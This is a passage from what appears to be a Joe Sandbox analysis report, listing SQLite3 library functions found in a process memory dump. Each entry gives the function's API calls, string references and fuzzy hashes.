Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: memcmp$sqlite3_mutex_try
String ID: 0
API String ID: 2794522359-4108050209
Opcode ID: 0160b7bd467754a1be7566d17dcdcbad49e11ee0d4d5de03d76100ee28c1ba50
Instruction ID: 0a16afa4c4135298fcb193e569f32786fff417632bb42ec1a1d79d0830f68743
Opcode Fuzzy Hash: 0160b7bd467754a1be7566d17dcdcbad49e11ee0d4d5de03d76100ee28c1ba50
Instruction Fuzzy Hash: E9029B78A042659FEB05CFA8C580799BBF1BFC8308F64C16DD8499B395E774E885CB90

Function 61E5EE52 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 176
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 61E03ED3: sqlite3_stricmp.SQLITE3 ref: 61E03F00
Part of subcall function 61E03ED3: sqlite3_stricmp.SQLITE3 ref: 61E03F18

sqlite3_strnicmp.SQLITE3 ref: 61E5EEDE

Part of subcall function 61E0463F: sqlite3_stricmp.SQLITE3 ref: 61E04672

Strings

J'a, xrefs: 61E5EED3
no such table, xrefs: 61E5EE92
no such view, xrefs: 61E5EE8D

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_stricmp$sqlite3_strnicmp
String ID: J'a$no such table$no such view
API String ID: 2198927396-1382575391
Opcode ID: e9bf0e2655f15f3f2b2ebcd0c234de71360c086210d26cbada8d896a746b78bd
Instruction ID: 426e13f1677c2d090e6e967c47eec4bddab8cf74361bcb6033b70e25106d7e88
Opcode Fuzzy Hash: e9bf0e2655f15f3f2b2ebcd0c234de71360c086210d26cbada8d896a746b78bd
Instruction Fuzzy Hash: 01610570B043469FDB40DFA9D884A4EBBF1AF88348F24C42DE858DB351E73AD8518B51

Function 61E27230 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 106
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNEL32 ref: 61E272E0

Strings

winRead, xrefs: 61E27323

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: FileRead
String ID: winRead
API String ID: 2738559852-2759563040
Opcode ID: 43dd954d8f3bc3033e45f23ca39855a6f74d88ce3bf6cb16cd30acc37c52a211
Instruction ID: 01be846b1c914381d43bd43a881ac94fd44caf91cc24d2ebda9dddbaf8e0f9b4
Opcode Fuzzy Hash: 43dd954d8f3bc3033e45f23ca39855a6f74d88ce3bf6cb16cd30acc37c52a211
Instruction Fuzzy Hash: 6541E072E00259DBCF44CFA9D89158EBBF2BF89314F218529EC68A7344D730E9418B91

Function 61E0FF10 Relevance: 3.1, APIs: 2, Instructions: 78
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

sqlite3_mutex_enter.SQLITE3 ref: 61E0FF4F
sqlite3_mutex_leave.SQLITE3 ref: 61E0FFF7

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_mutex_entersqlite3_mutex_leave
String ID:
API String ID: 1477753154-0
Opcode ID: f93a771da4db029c24692d7fadfb4c21b495cda645e14dffca9b7d6ee63b1441
Instruction ID: c305576da3b0ecb48e330b718133b7d44e0cdfe0b3ac8a4b24bcde8ee11f1326
Opcode Fuzzy Hash: f93a771da4db029c24692d7fadfb4c21b495cda645e14dffca9b7d6ee63b1441
Instruction Fuzzy Hash: C4218131A14E118BDF009FBAC48435D7AE1BB8B719F258A2EE514D7384E739C8E18BD5

Function 61E27424 Relevance: 3.0, APIs: 2, Instructions: 25
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

malloc.MSVCRT ref: 61E27434
sqlite3_log.SQLITE3 ref: 61E27460

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: mallocsqlite3_log
String ID:
API String ID: 2785431543-0
Opcode ID: 276100c768e920ba00dee1f4797df752b3dbc18f22c391b78bb7bec4611f80a5
Instruction ID: 44dbbf8c901baac61c8ecb04f568bbef4a134eeb66f8290cc42548717ab5ec89
Opcode Fuzzy Hash: 276100c768e920ba00dee1f4797df752b3dbc18f22c391b78bb7bec4611f80a5
Instruction Fuzzy Hash: 93F015B0C083099BCB00AF65C991A09BFE8EB44208F14C469E9884F341E239E584CB52

Function 61E1341E Relevance: 1.6, APIs: 1, Instructions: 106
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

sqlite3_free.SQLITE3 ref: 61E13479

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_free
String ID:
API String ID: 2313487548-0
Opcode ID: 87168b047b5a2b61cb458529a724349ba2dd493344365c1e585b9fe5b349bb09
Instruction ID: 47250bfb4760a9e80668fb4a4de0eccc309735b3899ac2f487d8b3ad702b8b4a
Opcode Fuzzy Hash: 87168b047b5a2b61cb458529a724349ba2dd493344365c1e585b9fe5b349bb09
Instruction Fuzzy Hash: F9417372D092258BDF05CF69C4813D97AE0BF48724F1982BDCC59AF349D775D8418BA4

Non-executed Functions

Function 61E24442 Relevance: 10.7, APIs: 7, Instructions: 247COMMON

Download Yara Rule

APIs

sqlite3_value_int.SQLITE3 ref: 61E24497
sqlite3_value_bytes.SQLITE3 ref: 61E244B7
sqlite3_value_blob.SQLITE3 ref: 61E244C4
sqlite3_value_text.SQLITE3 ref: 61E244DB
sqlite3_value_int.SQLITE3 ref: 61E2452B
sqlite3_result_text64.SQLITE3 ref: 61E2467B
sqlite3_result_blob64.SQLITE3 ref: 61E246D5

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_value_int$sqlite3_result_blob64sqlite3_result_text64sqlite3_value_blobsqlite3_value_bytessqlite3_value_text
String ID:
API String ID: 3992148849-0
Opcode ID: 49dccd325679344612dcd06aafa1b0fbd2af517bcecb88077b31fd9828ec60c6
Instruction ID: 222a9eaf738a168c7fb1e3f7314a14c0b4e0b63ae4b52840b5189acd0a309c3b
Opcode Fuzzy Hash: 49dccd325679344612dcd06aafa1b0fbd2af517bcecb88077b31fd9828ec60c6
Instruction Fuzzy Hash: FA919675E44259CFDB11CFACC8A069DBBF1BB89324F29C22ED8A497394D734D8418B51

Function 61E1B9F9 Relevance: 7.8, APIs: 5, Instructions: 337COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 61E1BA9E
sqlite3_realloc.SQLITE3 ref: 61E1BAC5
sqlite3_malloc.SQLITE3 ref: 61E1BC54
sqlite3_free.SQLITE3 ref: 61E1BCE6
sqlite3_malloc.SQLITE3 ref: 61E1BD36

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_malloc$memcmpsqlite3_freesqlite3_realloc
String ID:
API String ID: 1984881590-0
Opcode ID: c2d0c6c517767d9cd103a778dad35651363c25f977db5bc4fd9a974a5d75d667
Instruction ID: a83bbfa7232e8b966cfbe0000d79e78f6fa96f18e61162b789132978e7fc1443
Opcode Fuzzy Hash: c2d0c6c517767d9cd103a778dad35651363c25f977db5bc4fd9a974a5d75d667
Instruction Fuzzy Hash: 5FE10575A082498FDB04CF68C481A9ABBF2FF88314F29C569DC15AB35AD734E951CB90

Function 61E89CA0 Relevance: 7.6, APIs: 5, Instructions: 54timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 61E89CD9
GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,61E01439), ref: 61E89CEA
GetCurrentThreadId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,61E01439), ref: 61E89CF2
GetTickCount.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,61E01439), ref: 61E89CFA
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,61E01439), ref: 61E89D09

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
String ID:
API String ID: 1445889803-0
Opcode ID: d7768c31a37fa6e60d4c0cc94b0621b02a0e8ad8da4965ade7011daf050ff320
Instruction ID: 8e9f075d24577ed996b19a49b390543a40d0d3226bfaa3d59714b772d5ac8289
Opcode Fuzzy Hash: d7768c31a37fa6e60d4c0cc94b0621b02a0e8ad8da4965ade7011daf050ff320
Instruction Fuzzy Hash: C0119EB69147008FDB10EFB9E48854FBBF4FB8A654F010929E448C7210DB35D8988BA2

Function 61E6F79E Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 182COMMON

Download Yara Rule

APIs

sqlite3_mutex_enter.SQLITE3 ref: 61E6F7B7
sqlite3_mutex_leave.SQLITE3 ref: 61E6F9C7

Strings

INTEGER, xrefs: 61E6F8BF
BINARY, xrefs: 61E6F8A5, 61E6F8BA

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_mutex_entersqlite3_mutex_leave
String ID: BINARY$INTEGER
API String ID: 1477753154-1676293250
Opcode ID: f4ece91d33f9ffdce3323fba97badfb599fbc81c92b576de6ee77ff95142c21b
Instruction ID: 212c11a4f96f14697d39152aceded5fc1aab67c1decfd1ba7cc17a071375d3f3
Opcode Fuzzy Hash: f4ece91d33f9ffdce3323fba97badfb599fbc81c92b576de6ee77ff95142c21b
Instruction Fuzzy Hash: A3713574A406599FDB00CFA9C490B9EBBF5BF88358F65C029E858AB350D738E841CF90

Function 61E42DAC Relevance: 6.4, APIs: 4, Instructions: 418COMMON

Download Yara Rule

APIs

sqlite3_mutex_enter.SQLITE3 ref: 61E42DC1

Part of subcall function 61E12E95: sqlite3_mutex_try.SQLITE3(?,?,?,61E12F15), ref: 61E12E35

sqlite3_mutex_enter.SQLITE3 ref: 61E42DDA
sqlite3_mutex_leave.SQLITE3 ref: 61E42EEE
sqlite3_mutex_leave.SQLITE3 ref: 61E43309

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_mutex_entersqlite3_mutex_leave$sqlite3_mutex_try
String ID:
API String ID: 2068833801-0
Opcode ID: 38986d2ff847607ff47dd8c7dd9534c6886d5b438113051851e003b8b675e6ae
Instruction ID: 660afe740ab36d11c78c90e1966b81f27251e4928bdb9d4c3f42b1b63b43bb98
Opcode Fuzzy Hash: 38986d2ff847607ff47dd8c7dd9534c6886d5b438113051851e003b8b675e6ae
Instruction Fuzzy Hash: C0021574A046168FDB21CFA9E580A8DB7F1BF98318F24C529E855EB311D770E886CB41

Function 61E295EC Relevance: 4.6, APIs: 3, Instructions: 79COMMON

Download Yara Rule

APIs

sqlite3_bind_int64.SQLITE3 ref: 61E2962E

Part of subcall function 61E2945C: sqlite3_mutex_leave.SQLITE3 ref: 61E2949B

sqlite3_bind_double.SQLITE3 ref: 61E29651

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_bind_doublesqlite3_bind_int64sqlite3_mutex_leave
String ID:
API String ID: 1465616180-0
Opcode ID: fc41e5385bd80009c07e4b512d493312300a0f7f5d25d54c18e7c875f7fa3afb
Instruction ID: 932aa842bf32f2cb67ce2642f9cf6a23c90ccd21fa9dd1b8f7a9017da6c40a73
Opcode Fuzzy Hash: fc41e5385bd80009c07e4b512d493312300a0f7f5d25d54c18e7c875f7fa3afb
Instruction Fuzzy Hash: 8F219AB05087249BDB14DF58D4E02A9BBE0FB48324F24E55EECA94B3A5D334C881CB92

Function 61E296D3 Relevance: 4.5, APIs: 3, Instructions: 44COMMON

Download Yara Rule

APIs

sqlite3_mutex_enter.SQLITE3 ref: 61E296ED
sqlite3_bind_zeroblob.SQLITE3 ref: 61E29712
sqlite3_mutex_leave.SQLITE3 ref: 61E29732

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_bind_zeroblobsqlite3_mutex_entersqlite3_mutex_leave
String ID:
API String ID: 2187339821-0
Opcode ID: f2ccd1dc6dc1d525b5e0e6e54c9fc2f3d6bd59b77cff03a4b9237759269d5a71
Instruction ID: 4c4c63140e038be93bad81b5476a153f05fd11858f5c1e434e1270eca125c22a
Opcode Fuzzy Hash: f2ccd1dc6dc1d525b5e0e6e54c9fc2f3d6bd59b77cff03a4b9237759269d5a71
Instruction Fuzzy Hash: 46014F78A046658FCB00DF69D0D095EBBF5FF89324B24C46AE8488B314D770EC51CB92

Function 61E16BD7 Relevance: 3.1, APIs: 2, Instructions: 66COMMON

Download Yara Rule

APIs

sqlite3_mutex_enter.SQLITE3 ref: 61E16B65
sqlite3_mutex_leave.SQLITE3 ref: 61E16BC8

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_mutex_entersqlite3_mutex_leave
String ID:
API String ID: 1477753154-0
Opcode ID: f3fd7f710b8cb58e5d8df78b2c8c71e45e0ad845904d09703b9b952c42c5a62c
Instruction ID: a8ad53f3399826cc1c7d046d82030ad2a63cb04c81e43023dbfde1a091d3d0a6
Opcode Fuzzy Hash: f3fd7f710b8cb58e5d8df78b2c8c71e45e0ad845904d09703b9b952c42c5a62c
Instruction Fuzzy Hash: 4F212A34A042498FCB04DFA8C485BD9FBF4FF49314F1481A9E819AB352D3B9E881CB90

Function 61E169BB Relevance: 3.0, APIs: 2, Instructions: 37COMMON

Download Yara Rule

APIs

sqlite3_mutex_enter.SQLITE3 ref: 61E169D1
sqlite3_mutex_leave.SQLITE3 ref: 61E16A11

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

